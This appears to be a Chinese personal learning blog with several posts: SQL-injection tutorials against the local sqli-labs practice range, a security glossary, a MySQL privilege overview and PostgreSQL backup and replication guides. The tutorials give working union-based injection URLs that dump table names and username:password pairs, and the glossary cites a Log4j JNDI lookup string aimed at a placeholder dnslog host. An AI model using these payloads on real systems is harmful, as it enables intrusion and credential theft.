Oliver's Blog

小菜鸟要努力学习哦

发表于

在数据库中区分有数据库系统用户与数据库普通用户，二者的划分主要体现在对一些高级函数与资源表的访问权限上。

直白一些就是高权限系统用户拥有整个数据库的操作权限，而普通用户只拥有部分已配置的权限。

网站在创建的时候会调用数据库链接，会区分系统用户链接与普通用户链接；当多个网站存在一个数据库的时候，root就拥有最高权限可以对多个网站进行管辖，普通用户仅拥有当前网站和配置的部分权限。

所以当我们获取到普通用户权限时，我们只拥有单个数据库权限，甚至文件读写失败；取得高权限用户权限，不仅可以查看所有数据库，还可以对服务器文件进行读写操作。

多个网站共享MySQL服务器

多个网站共享MySQL服务器

MySQL权限介绍

MySQL中存在4个控制权限的表，分别为user表，db表，tables_priv表，columns_priv表，当前演示的版本MySQL 5.7.22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
select * from user where user='root' and host='localhost'\G;

	mysql权限表的验证过程为：

	先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在，存在则通过验证。

	通过身份认证后，进行权限分配，
	按照user，db，tables_priv，columns_priv的顺序进行验证。
	即先检查全局权限表user，如果user中对应的权限为Y，则此用户对所有数据库的权限都为Y，
	将不再检查db, tables_priv,columns_priv；如果为N，则到db表中检查此用户对应的具体数据库，
	并得到db中为Y的权限；如果db中为N，则检查tables_priv中此数据库对应的具体表，取得表中的权限Y，以此类推。
 
  系统权限表
	User表：存放用户账户信息以及全局级别（所有数据库）权限，决定了来自哪些主机的哪些用户可以访问数据库实例，如果有全局权限则意味着对所有数据库都有此权限 
	Db表：存放数据库级别的权限，决定了来自哪些主机的哪些用户可以访问此数据库 
	Tables_priv表：存放表级别的权限，决定了来自哪些主机的哪些用户可以访问数据库的这个表 
	Columns_priv表：存放列级别的权限，决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 
	Procs_priv表：存放存储过程和函数级别的权限


 2.MySQL 权限级别分为： 
	全局性的管理权限： 作用于整个MySQL实例级别 
	数据库级别的权限： 作用于某个指定的数据库上或者所有的数据库上 
	数据库对象级别的权限：作用于指定的数据库对象上（表、视图等）或者所有的数据库对象
 
 3.查看mysql 有哪些用户：
	mysql> select user,host from mysql.user;
 
 4.查看用户对应权限
 select * from user where user='root' and host='localhost'\G;  #所有权限都是Y ，就是什么权限都有
 
 5.创建 mysql 用户
	有两种方式创建MySQL授权用户

	执行create user/grant命令（推荐方式）
	CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
	通过insert语句直接操作MySQL系统权限表
 
 6.只提供id查询权限
    grant select(id) on test.temp to test1@'localhost' identified by '123456';
 
 7.把普通用户变成管理员
	GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;

 8.删除用户
	drop user finley@'localhost';

SQL注入之高权限注入

注入流程与上节相同

查询所有数据库名称

查询所有数据库名称

1
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

查询数据库对应的表名

查询数据库对应的表名

1
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374

查询表名对应的字段名

查询表名对应的字段名

1
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431

查询数据

查询数据

1
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1

发表于

本章节重点在于熟悉注入流程，以及注入原理。练习靶场为sqli-labs第二关数字型注入。

数字型注入

数字型注

在url中输入id值，执行查询sql语句，即可得到对应数据

less-2源码分析：

less-2源码

浏览器 进行数据提交 服务器：

1
2
3
4
5
get 提交  ：  url   数据长度 
     速度快  
	 用于： 

post 提交 ： 服务器    安全性   数据量

SQL注入流程

SQL注入流程

注入语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
尝试手工注入：
	SQL注入： 
		1.判断有无注入点   and 1 = 1； true 
		随便输入内容  ==  报错  注入
		              ==  没有注入
		2.猜解列名数量 order by %20 空格
		字段 4个

		3.报错，判断回显点 union 
		4.信息收集 
		  数据库版本 version()
		  高版本：5.0  
			系统库： infromation 。。。
		  数据库名称：database（）
		  低版本：5.0 
		5.使用对应SQL进行注入  
			数据库库名：security
		. 下一级  
		infromation_schema.tables 查找表名
		table_name
		查询serurity库下面 所有的表名 
		database（）

		= 前后 连到一起
		union select 1,group_concat(table_name),3 from information_schema.tables
		where table_schema=database()

		表： users
		如何查询表里面有那些字段？ 
		user 字符 转行 16进制
		union select 1,group_concat(column_name),3 from information_schema.columns
		where table_name=0x7573657273

		username  password  字段数据  
		select username,password from users
		0x3a  :
		union select 1,2,(select group_concat(username,0x3a,password)from users)

发表于 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
查询当前数据库服务器所有的数据库
show databases;
选中某个数据库
use 数据库名字 test
查询当前数据库所有的表
show tables；
查询t1表所有数据
查询关键字 select 
* 所有
from  表名
select * from t1;
条件查询 id=2
where 条件  编程 if（条件 true）{执行}
select * from t1 where id=2；
查询id=2   pass =111
union 合并查询 
2个特性：
前面查询的语句和后面的查询语句结果互不干扰
前面的查询语句的字段数量和后面的查询语句字段数量要一致

* == 3
select id from t1 where id=-1 union select * from t1 where pass =111;

order by 排序
order by 字段名字  id  也可以 跟上数字 1 2 3 4 .。。。。。

猜解表的列数 知道表有几列

发表于

数据库就是一个存储数据的仓库，数据库是以一定方式存储在一起，能与多个用户共享，具有尽可能小的冗余，与应用程序彼此独立的数据集合。

关系型数据库，存储的格式可以直观地反映实体间的关系，和常见的Excel表格比较相似。

数据库服务器层级关系

  • 多个数据库
  • 多个数据表
  • 多个行、列、字段
  • 多条数据

MySQL结构

MySQL系统库

提供了访问数据库元数据的方式。

元数据是关于数据库的数据，如数据库名和表名，列的数据类型或访问权限。

MySQL元数据

information_schema

信息数据库，保存着关于MySQL服务器所维护的所有其他数据库的信息；

例如：数据库或表的名称，列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。在Web渗透过程中用途很大。

1
2
3
4
5
SCHEMATA 表：提供了当前MySQL实例中所有数据库信息，show databases结果来自此表。

TABLES表：提供了关于数据中表的信息。table_name是关键字段。

COLUMNS表：提供了表的列信息，详细描述了某张表的所有列以及每个列的信息。column_name是关键字段。

information_schema库

performance_schema

MySQL 5.5开始新增一个数据库：PERFORMANCE_SCHEMA，具有87张表，主要用于收集数据库服务器性能参数。

内存数据库，数据放在内存中直接操作的数据库。

相对于磁盘，内存的数据读写速度要高出几个数量级。

mysql

是核心数据库，类似于sql server中的master表，主要负责存储数据库的用户（账户）信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。

不可以删除，如果对mysql不是很了解，也不要轻易修改这个数据库里面的表信息。

常用举例：在mysql.user表中存储着用户的密码。

sys

是MySQL5.7增加的系统数据库，这个库是通过视图的形式把information_schema和performance_schema结合起来，查询出更加令人容易理解的数据，具有1个表，100个视图。

这个库可以查询谁使用了最多的资源，哪张表访问最多等。

发表于

数据库就是一个存储数据的仓库，数据库是以一定方式存储在一起，能与多个用户共享，具有尽可能小的冗余，与应用程序彼此独立的数据集合。

关系型数据库

关系型数据库，存储的格式可以直观地反映实体间的关系，和常见的表格比较相似；

关系型数据库中表与表之间有很多复杂的关联关系的；

常见的关系型数据库有MySQL, Orcale, PostgreSQL, SQL Server等。

非关系型数据库

随着近些年技术方向的不断扩展，大量的NoSQL数据库如MongoDB，Redis出于简化数据库结构，避免冗余，影响性能的表连接，摒弃复杂分布式的目的被设计。

NoSQL数据库适合追求速度和可扩展性，业务多变的场景。

数据库排行榜

数据库排行榜

发表于

SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。

Web应用程序三层架构

  • 视图层
  • 业务逻辑层
  • 数据访问层

Web三层架构

发表于 更新于

黑客（hacker）

  • 对计算机技术非常擅长的人，窃取数据、破坏计算机系统
  • 匿名的（Anonymous）

脚本小子

刚刚入门安全行业，学习了一些技术，只会只用现成的工具或者从网上复制代码

白帽子

  • 白帽子的目的是发现企业的漏洞并且上报给企业，帮助其解决风险问题；
  • 360补天、漏洞盒子、CNVD、CNNVD

红帽黑客

  • 有正义感、爱国的黑客；
  • 利用技术维护国家网络 安全，并且对外来的攻击进行反击。

漏洞（Vulnerability）

POC（Proof of Concept）

  • 能证明漏洞存在的代码；
  • 例:${jndi:ldap://xxxxxx.dnslog.cn/test}。

EXP

  • Exploit（利用）；
  • 执行了这一段利用代码之后，就能够达到攻击的目的；
  • msf。

payload

0day漏洞

使用量非常大的通用产品漏洞已经被发现了（还没有公开），官方还没有发布补丁或者修复方法的漏洞

1day漏洞

POC和EXP已经被公开了，但是很多人还来不及修复的漏洞

Nday漏洞

漏洞扫描（漏扫）

基于数据库对漏洞进行自动化扫描

补丁

  • patch
  • 漏洞的修复程序

渗透

  • penetration
  • 黑客入侵网站或者计算机系统获取到控制计算机权限的过程

渗透测试

  • penetration test
  • 用黑客入侵的方式对系统进行安全测试，目的是找出和修复安全漏洞
  • 这个过程中不会影响系统的正常运行，也不会破坏数据

木马

  • Trojan horse
  • 隐藏在计算机中的恶意程序

病毒

  • Virus
  • 恶意代码或程序

杀毒软件

  • 360
  • 瑞星
  • 江民
  • 金山
  • 诺顿
  • 卡巴斯基
  • McAfee

免杀

绕过杀毒软件

肉鸡

  • 已经被黑客获得控制权限的机器，可能是个人电脑也可能是企业或者政府单位的服务器
  • 通常情况下因为使用者并不知道已经被入侵，所以黑客可以长期获得权限和控制。

抓鸡

利用出现概率非常高漏洞(比如log4j、永恒之蓝)，使用自动化方式获取肉鸡的行为

跳板机

黑客为了防止被追溯和识别身份，一般都不会用自己的电脑发起攻击，而是利用获取的肉鸡来攻击其他目标，这个肉鸡就充当一个跳板的角色

DDos

  • Distributed Denial of Service
  • 分布式拒绝服务攻击
  • 发起大量恶意请求，导致正常用户无法访问

后门

  • backdoor
  • 黑客为了对主机进行长期的控制，在机器上种植的一段程序或留下的一个“入口”

中间人攻击

  • Man-in-the-Middle Attack
  • MITM攻击
  • 运行中间服务器，拦截并篡改数据

网络钓鱼

钓鱼网站指的是冒充的网站，用来窃取用户的账号密码

webshell

  • shell是一种命令执行工具，可以对计算机进行控制
  • webshell就是asp、php、jsp之外的web代码文件，通过这些代码文件可以执行任意的命令，对计算机做任意的操作

分类：

  • 小马
  • 一句话木马：godzilla、behinder、ant sword
  • 大马

GetShell

获得命令执行环境的操作

例如：

  • Redis的持久化功能
  • MySQL的写文件功能
  • MySQL的日志记录功能
  • 上传功能
  • 数据备份功能
  • 编辑器

提权

  • Privilege Escalation
  • 权限提升
  • 利用普通用户把自己提升为管理员的操作

拿站

指得到一个网站的最高权限，即得到后台和管理员名字和密码

脱（拖）裤

拖库指的是网站被入侵以后，黑客把全部的数据都导出，窃取到了数据文件

装库

用获得的裤子去批量登录其他的网站

旁站入侵

入侵同服务器的其他网站

横向移动

攻击者入侵一台服务器成功以后，基于内部网络，继续入侵同网段的其他机器

代理

  • Proxy
  • 帮助发起网络请求的一台服务器

VPN

  • Virtual Private Network
  • 代理
  • 加密通信
  • 远程办公（从家里连接到公司内网）

蜜罐

  • HoneyPot
  • 吸引攻击者攻击的伪装系统，用来实现溯源和反制

沙箱

  • Sandbox
  • 沙箱是一种按照安全策略限制程序行为的执行环境，就算有恶意代码，也只能影响沙箱环境而不会影响到操作系统。

靶场

模拟的有漏洞的环境
可以是网站、容器、操作系统

类型：

web综合靶场：DVWA、pikachu、bwapp
web专用靶场：sqli-labs、upload-labs、xss-labs
漏洞复现靶场：CVE-44228
操作系统靶场：vulnhub
CTF靶场：专门用来练习CTF题目，每个人都有一个独立的环境

堡垒机

jumpserver跳板机
运维审计系统：管理资源，审批，审计，访问控制，事件记录

WAF

Web Application Firewall
Web应用防火墙
对HTTP/HTTPS的流量内容进行分析，拦截恶意攻击行为

APT

Advanced Persistent Threat
高级可持续威胁攻击
指有组织在网络上对特定对象展开的持续有效的攻击活动
报告：2021深信服APT攻防趋势半年洞察

护网（HVV）

国家组织牵头组织事业单位，国企单位，名企单位等开展攻防两方的网络安全演习

CTF

Capture The Flag夺旗赛：起源于1996年DEFCON全球黑客大会；解出题目，获得flag，就可以得分

是一种黑客技术竞赛：

解题形式：Jeopardy
攻防形式：Attack-Defense

方向：

Reverse
Pwn
Web
Crypto
Misc
Mobile

常用在线CTF：

bugku：https://ctf.bugku.com/challenges/index.html
北京联合大学：https://ctf.bugku.com/challenges
CTFHub：https://www.ctfhub.com/
bmzCTF：http://bmzclub.cn/challenges
攻防世界：https://adworld.xctf.org.cn
CTFSHOW：https://ctf.show/challenges

CVE

Common Vulnerabilities and Exposures
通用漏洞披露

Mitre

例如：CVE-2021-44228

https://www.cve.org/

CNVD

国家信息安全漏洞共享平台：https://www.cnvd.org.cn/
国家计算机应急响应中心（CNCERT维护）：https://www.cert.orgh.ctmn/lpublish/main/index.html

应急响应

一个公司为了应对各种安全事件所做的准备和事后采取的措施

SRC

Security Response Center：企业的应急响应中心
http://0xsafe.org/

公益SRC

https://www.vulbox.com/
https://src.sjtu.edu.cn/

网络空间测绘

网络空间资源收录

网络空间搜索引擎：

www.shodan.io
fofa.so
www.zoomeye.org

ATT&CK

Adversarial Tactics, Techniques, and Common Knowledge
对抗战术、技术和通用知识（攻击者技战术的知识库）

Mitre

风险分析模型：收集威胁情报，模拟APT攻击

逆向

Reverse

把程序还原为源代码，分析程序的运行过程

DevOps

Development+Operations
开发测试运维一体化

CICD

包括：

持续集成（Continuous Integration）
持续交付（Continuous Delivery）
持续部署（Continuous Deployment）

具体技术：

Git代码管理
Jenkins版本管理
代码扫描
自动化测试

DevSecOps

Development+Security+Operations
安全开发与运维

等保

网络安全等级保护

要求相关行业的单位和公司的信息系统必须进行定级，然后在公安机关备案，然后建设整改，然后由测评机构评级，并且持续维护和监督。

发表于 更新于

PostgreSQL自身只支持简单的主从，没有主从自动切换，仿照类似Nginx的效果一样，采用keepalived的形式，在主节点宕机后，通过脚本的执行完成主从切换。

主从实现（异步流复制）

操作方式类似与之前的备份和恢复

准备环境：

角色 IP 端口
Master 192.168.11.66 5432
Standby 192.168.11.67 5432

准备两台虚拟机，完成上述的环境准备

修改好ip，安装好postgresql服务

给主准备一些数据

1
2
3
create table t1 (id int);
insert into t1 values (111);
select * from t1;

配置主节点信息（主从都配置，因为后面会有主从切换的操作）

修改pg_hba.conf文件

主节点pg_hba.conf

修改postgresql.conf文件

主节点postgresql.conf

提前构建好归档日志和备份目录，并且设置好拥有者

准备归档目录

重启PostgreSQL服务

1
systemctl restart postgresql-12

从节点加入到主节点

关闭从节点服务

1
systemctl stop postgresql-12

删除从节点数据（删除data目录）

1
rm -rf ~/12/data/*

基于pbk去主节点备份数据

1
2
# 确认好备份的路径，还有主节点的ip
pg_basebackup -D /pgbasebackup -Ft -Pv -Upostgres -h 192.168.11.66 -p 5432 -R

恢复数据操作，解压tar包

1
2
3
cd /pgbasebackuo
tar -xf base.tar -C ~/12/data
tar -xf pg_wal.tar -C /archive

修改postgresql.auto.conf文件

1
2
3
# 确认有这两个配置，一般第一个需要手写，第二个会自动生成
restore_command = 'cp /archive/%f %p'
primary_conninfo = 'user=postgres password=postgres host=192.168.11.66 port=5432 sslmode=prefer sslcompression=0 gssencmode=prefer krbsrvname=postgres target_session_attrs=any'

修改standby.signal文件，开启从节点备份模式

1
2
# 开启从节点备份
standby_mode = 'on'

启动从节点服务

1
systemctl restart postgresql-12

查看主从信息

  • 查看从节点是否有t1表
  • 主节点添加一行数据，从节点再查询，可以看到最新的数据
  • 从节点无法完成写操作，他是只读模式
  • 主节点查看从节点信息
    1
    select * from pg_stat_replication
  • 从节点查看主节点信息
    1
    select * from pg_stat_wal_receiver

主从切换（不推荐）

其实主从的本质就是从节点去主节点不停的备份新的数据。

配置文件的系统其实就是两个：

  • standby.signal文件，这个是从节点开启备份
  • postgresql.auto.conf文件，这个从节点指定主节点的地址信息

切换就是原主追加上述配置，原从删除上述配追

1、主从节点全部stop停止：

2、原从删除上述配置：

3、原从新主启动服务：

4、原主新从去原从新主备份一次数据：pg_basebackup操作，同时做解压，然后修改postgresql.conf文件以及standby.signal配置文件

5、启动原主新从查看信息

主从故障切换

默认情况下，这里的主从备份是异步的，导致一个问题，如果主节点写入的数据还没有备份到从节点，主节点忽然宕机了，导致后面如果基于上述方式实现主从切换，数据可能丢失。

PGSQL在9.5版本后提供了一个pg_rewind的操作，基于归档日志帮咱们做一个比对，比对归档日志，是否有时间差冲突。

实现操作：

1、rewind需要开启一项配置才可以使用

修改postgresql.conf中的 wal_log_hints = ‘on’

2、为了可以更方便的使用rewind，需要设置一下 /usr/pgsql-12/bin/ 的环境变量

1
2
3
4
vi /etc/profile
  追加信息
  export PATH=/usr/pgsql-12/bin/:$PATH
source /etc/profile

3、模拟主库宕机，直接对主库关机

4、从节点切换为主节点

1
2
# 因为他会去找$PGDATA，我没配置，就基于-D指定一下PGSQL的data目录
pg_ctl promote -D ~/12/data/

5、将原主节点开机，执行命令，搞定归档日志的同步

  • 启动虚拟机
  • 停止PGSQL服务
    1
    pg_ctl stop -D ~/12/data
  • 基于pg_rewind加入到集群
    1
    pg_rewind -D ~/12/data/ --source-server='host=192.168.11.66 user=postgres password=postgres'
  • 如果上述命令失败，需要启动再关闭PGSQL，并且在执行，完成归档日志的同步
    1
    2
    3
    pg_ctl start -D ~/12/data
    pg_ctl stop -D ~/12/data
    pg_rewind -D ~/12/data/ --source-server='host=192.168.11.66 user=postgres password=postgres'

6、修改新从节点的配置，然后启动

  • 构建standby.signal
    1
    standby_mode = 'on'
  • 修改postgresql.auto.conf文件
    1
    2
    3
    # 注意ip地址
    primary_conninfo = 'user=postgres password=postgres host=192.168.11.66 port=5432 sslmode=prefer sslcompression=0 gssencmode=prefer krbsrvname=postgres target_session_attrs=any'
    restore_command = 'cp /archive/%f %p'
  • 启动新的从节点
    1
    pg_ctl start -D ~/12/data/

发表于 更新于

PostgreSQL做数据迁移的插件非常多，可以从MySQL迁移到PostgreSQL，也可以基于其他数据源迁移到PostgreSQL。

这种迁移的插件很多，这里只以pgloader举例，pgloader使用起来特别的方便。

以MySQL数据迁移到PostgreSQL为例，分为几个操作：

1、准备MySQL服务（防火墙问题，远程连接问题，权限问题）

准备了一个数据库，里面大概有26W条左右的数据。

2、准备PostgreSQL的服务

3、安装pgloader

pgloader可以安装在任何位置，比如安装在MySQL所在服务，或者PostgreSQL所在服务，再或者一个独立的服务都可以

1
2
# 用root用户下载
yum -y install pgloader

4、准备pgloader需要的脚本文件

官方文档： https://pgloader.readthedocs.io/en/latest/

注意：PostgreSQL的数据库要提前构建好才可以。

PGLOADER脚本

5、执行脚本，完成数据迁移

先确认pgloader命令可以使用

PGLOADER命令测试

执行脚本：

1
pgloader 刚刚写好的脚本文件

PGLOADER执行

发表于 更新于

防止数据丢失的第一道防线就是备份。数据丢失有的是硬件损坏，还有人为的误删之类的，也有其他的原因导致误删数据。

正常备份和恢复，如果公司有DBA，开发一般不用参与，但作为架构师还是要了解。

在PostgreSQL中，有三种备份方式：

SQL备份（逻辑备份） ：其实就是利用数据库自带的类似dump的命令，或者是你用图形化界面执行导入导出时，底层就是基于这个dump命令实现的。

优点：简单，操作方便还可靠。

缺点：数据数据量比较大的时候，这种方式巨慢，可能导出一天，都无法导出所有数据。

文件系统备份（物理备份） ：其实就是找到当前数据库，数据文件在磁盘存储的位置，将数据文件直接复制一份或多份，存储在不同的物理机上，即便物理机故障，还有其他物理机。

优点：相比逻辑备份，恢复的速度快。

缺点：在备份数据时，可能数据还正在写入，一定程度上会丢失数据。 在恢复数据时，也需要注意数据库的版本和环境必须保持高度的一致。如果是线上正在运行的数据库，这种复制的方式无法在生产环境实现。

如果说要做数据的迁移，这种方式还不错滴。

归档备份：（也属于物理备份）

先了解几个概念，在PostgreSQL有多个子进程来辅助一些操作：

  • BgWriter进程：BgWriter是将内存中的数据写到磁盘中的一个辅助进程。当向数据库中执行写操作后，数据不会马上持久化到磁盘里。这个主要是为了提升性能。BgWriter会周期性的将内存中的数据写入到磁盘。
    • 如果快了，IO操作频繁，效率慢；
    • 如果慢了，有查询操作需要内存中的数据时，需要BgWriter现把数据从内存写到磁盘中，再提供给查询操作作为返回结果，会导致查询操作效率变低；
    • 考虑一个问题： 事务提交了，数据没落到磁盘，这时，服务器宕机了怎么办？
  • WalWriter进程：WAL就是write ahead log的缩写，说人话就是预写日志（redo log）。其实数据还在内存中时，其实已经写入到WAL日志中一份，这样一来，即便BgWriter进程没写入到磁盘中时，数据也不会丢失。
    • WAL能单独做备份么？单独不行！
    • 但是WAL日志有个问题，这个日志会循环使用，WAL日志有大小的线程，只能保存指定时间的日志信息，如果超过了，会覆盖之前的日志。
  • PgArch进程：WAL日志会循环使用，数据会丢失。没关系，还有一个归档的进程，会在切换wal日志前，将WAL日志备份出来。PostgreSQL也提供了一个全量备份的操作。可以根据WAL日志，选择一个事件点，进行恢复。

查看WAL日志：

查看WAL日志文件列表

这些就是归档日志。

wal日志的名称，是三块内容组成，

没8个字符分成一组，用16进制标识的

00000001 00000000 0000000A

时间线 逻辑id 物理id

查询当前库用的是哪个wal日志：

1
2
3
4
-- 查看当前使用的wal日志  查询到的lsn：0/47233270
select pg_current_wal_lsn();
-- 基于lsn查询具体的wal日志名称  000000010000000000000047
select pg_walfile_name('0/47233270');

归档默认不是开启的，需要手动开启归档操作，才能保证wal日志的完整性

修改postgresql.conf文件

1
2
3
# 开启wal日志的内容，注释去掉即可
wal_level = replica
fsync = on

postgresql.conf开启归档wal

1
2
3
4
# 开启归档操作
archive_mode = on
# 修改一小下命令，修改存放归档日志的路径
archive_command = 'test ! -f /archive/%f && cp %p /archive/%f'

postgresql.conf开启归档

修改完上述配置文件后，记得重启postgreSQL进程，才会生效！

归档操作执行时，需要保证/archive存在，并且postgres用户有权限进行w操作

构建/archive路径

1
2
3
4
# postgres没有权限在/目录下构建目录
# 切换到root，构建目录，将目录的拥有者更改为postgres
mkdir /archive
chown -R postgres. archive

在当前库中做大量写操作，接入到wal日志，重置切换wal日志，再查看归档情况。

发现，将当前的正在使用的wal日志和最新的上一个wal日志归档过来了，但是之前的没归档。

这个不是问题，后期备份时，会执行命令，这个命令会直接要求wal日志立即归档，然后最全量备份。

逻辑备份&恢复

PostgreSQL提供了pg_dump以及pg_dumpall的命令来实现逻辑备份。

这两命令差不多，看名字猜！

pg_dump这种备份，不会造成用户对数据的操作出现阻塞。

数据库不是很大的时候，pg_dump也不是不成！

查看命令使用帮助：

pg_dump命令使用帮助

这个命令从三块去看：http://postgres.cn/docs/12/app-pgdump.html

  • 连接的信息，指定连接哪个库，用哪个用户~
  • option的信息有就点多，查看官网。
  • 备份的数据库！

备份库中的全部数据。

备份整个数据库

删除当前数据库中的表等信息，然后恢复数据

恢复整个数据库

除此之外，也可以通过图形化界面备份，在库的位置点击备份就成，导出一个文本文件。

物理备份（归档+物理）

这里需要基于前面的文件系统的备份和归档备份实现最终的操作

单独使用文件系统的方式不推荐，因为数据会丢失。

这里直接使用PostgreSQL提供的pg_basebackup命令来实现。

pg_basebackup会做两个事情：

  • 将内存中的脏数据落到磁盘中，然后将数据全部备份；
  • 将wal日志直接做归档，然后将归档也备走。

查看pg_basebackup命令使用帮助：

pg_basebackup命令使用帮助

1
2
3
4
5
6
7
# -D 指定备份文件的存储位置
# -Ft 备份文件打个包
# -Pv 输出备份的详细信息
# -U 用户名（要拥有备份的权限）
# -h ip地址  -p 端口号
# -R 复制写配置文件
pg_basebackup -D /pg_basebackup -Ft -Pv -Upostgres -h 192.168.11.32 -p 5432 -R
  • 提前准备出/pg_basebackup目录（将拥有者赋予postgres用户）
    1
    2
    mkdir /pg_basebackup
    chown -R postgres. /pg_basebackup/
  • 给postgres用户提供replication的权限，修改pg_hba.conf，记得重启生效
    pg_hba.conf给postgres用户提供replication的权限
  • 执行备份
    1
    pg_basebackup -D /pg_basebackup -Ft -Pv -Upostgres -h 192.168.11.32 -p 5432 -R
  • 需要输入postgres的密码，这里可以设置，重新备份。
    重新备份
  • 执行备份
    执行备份
    备份结果

物理恢复（归档+物理）

模拟数据库崩盘，先停止postgresql服务，然后直接删掉data目录下的全部内容

模拟数据库崩溃

将之前备份的两个文件准备好，一个base.tar，一个pg_wal.tar

第一步：将base.tar中的内容，全部解压到 12/data 目录下

第二步：将pg_wal.tar中的内容，全部解压到 /archive 目录下

解压备份文件

第三步：在postgresql.auto.conf文件中，指定归档文件的存储位置，以及恢复数据的方式

修改postgresql.auto.conf

第四步：启动postgresql服务

1
systemctl start postgresql-12

第五步：启动后，发现查询没问题，但是执行写操作时发现不让写。需要执行一个函数，取消这种恢复数据后的状态，才允许正常的执行写操作。

1
select pg_wal_replay_resume();

物理备份&恢复（PITR-Point in time Recovery）

模拟场景

场景：每天凌晨02:00，开始做全备（PBK），到了第二天，如果有人14:00分将数据做了误删，希望将数据恢复到14:00分误删之前的状态？

1、恢复全备数据，使用PBK的全备数据恢复到凌晨02:00的数据。（数据会丢失很多）

2、归档恢复：备份中的归档，有02:00~14:00之间的额数据信息，可以基于归档日志将数据恢复到指定的事务id或者是指定时间点，从而实现数据的完整恢复。

准备场景和具体操作

1、构建一张t3表查询一些数据

1
2
3
4
-- 构建一张表
create table t3 (id int);
insert into t3 values (1);
insert into t3 values (11);

2、模拟凌晨2点开始做全备操作

1
pg_basebackup -D /pg_basebackup -Ft -Pv -Upostgres -h 192.168.11.32 -p 5432 -R

3、再次做一些写操作，然后误删数据

1
2
3
4
5
6
-- 凌晨2点已经全备完毕
-- 模拟第二天操作
insert into t3 values (111);
insert into t3 values (1111);
-- 误删操作  2023年3月20日20:13:26
delete from t3;

4、恢复数据（确认有归档日志）

将当前服务的数据全部干掉，按照之前的全备恢复的套路先走着

模拟数据库崩溃

然后将全备的内容中的base.tar扔data目录下，归档日志也扔到/archive位置。

5、查看归档日志，找到指定的事务id

查看归档日志，需要基于postgresql提供的一个命令

1
2
3
4
5
# 如果命令未找到，说明两种情况，要么没有这个可执行文件，要么是文件在，没设置环境变量
# 咱们这是后者
pg_waldump
# 也可以采用全路径的方式
/usr/pgsql-12/bin/pg_waldump

查看备份文件内容

找到对应的事务ID

6、修改data目录下的恢复数据的方式

修改postgresql.auto.conf文件

将之前的最大恢复，更换为指定的事务id恢复

基于提供的配置例子，如何指定事务id

如何指定事务ID

修改postgresql.auto.conf文件指定好事务ID

指定事务ID

7、启动postgreSQL服务，查看是否恢复到指定事务ID

查看恢复结果

8、记得执行会后的函数，避免无法执行写操作

1
select pg_wal_replay_resume();
0%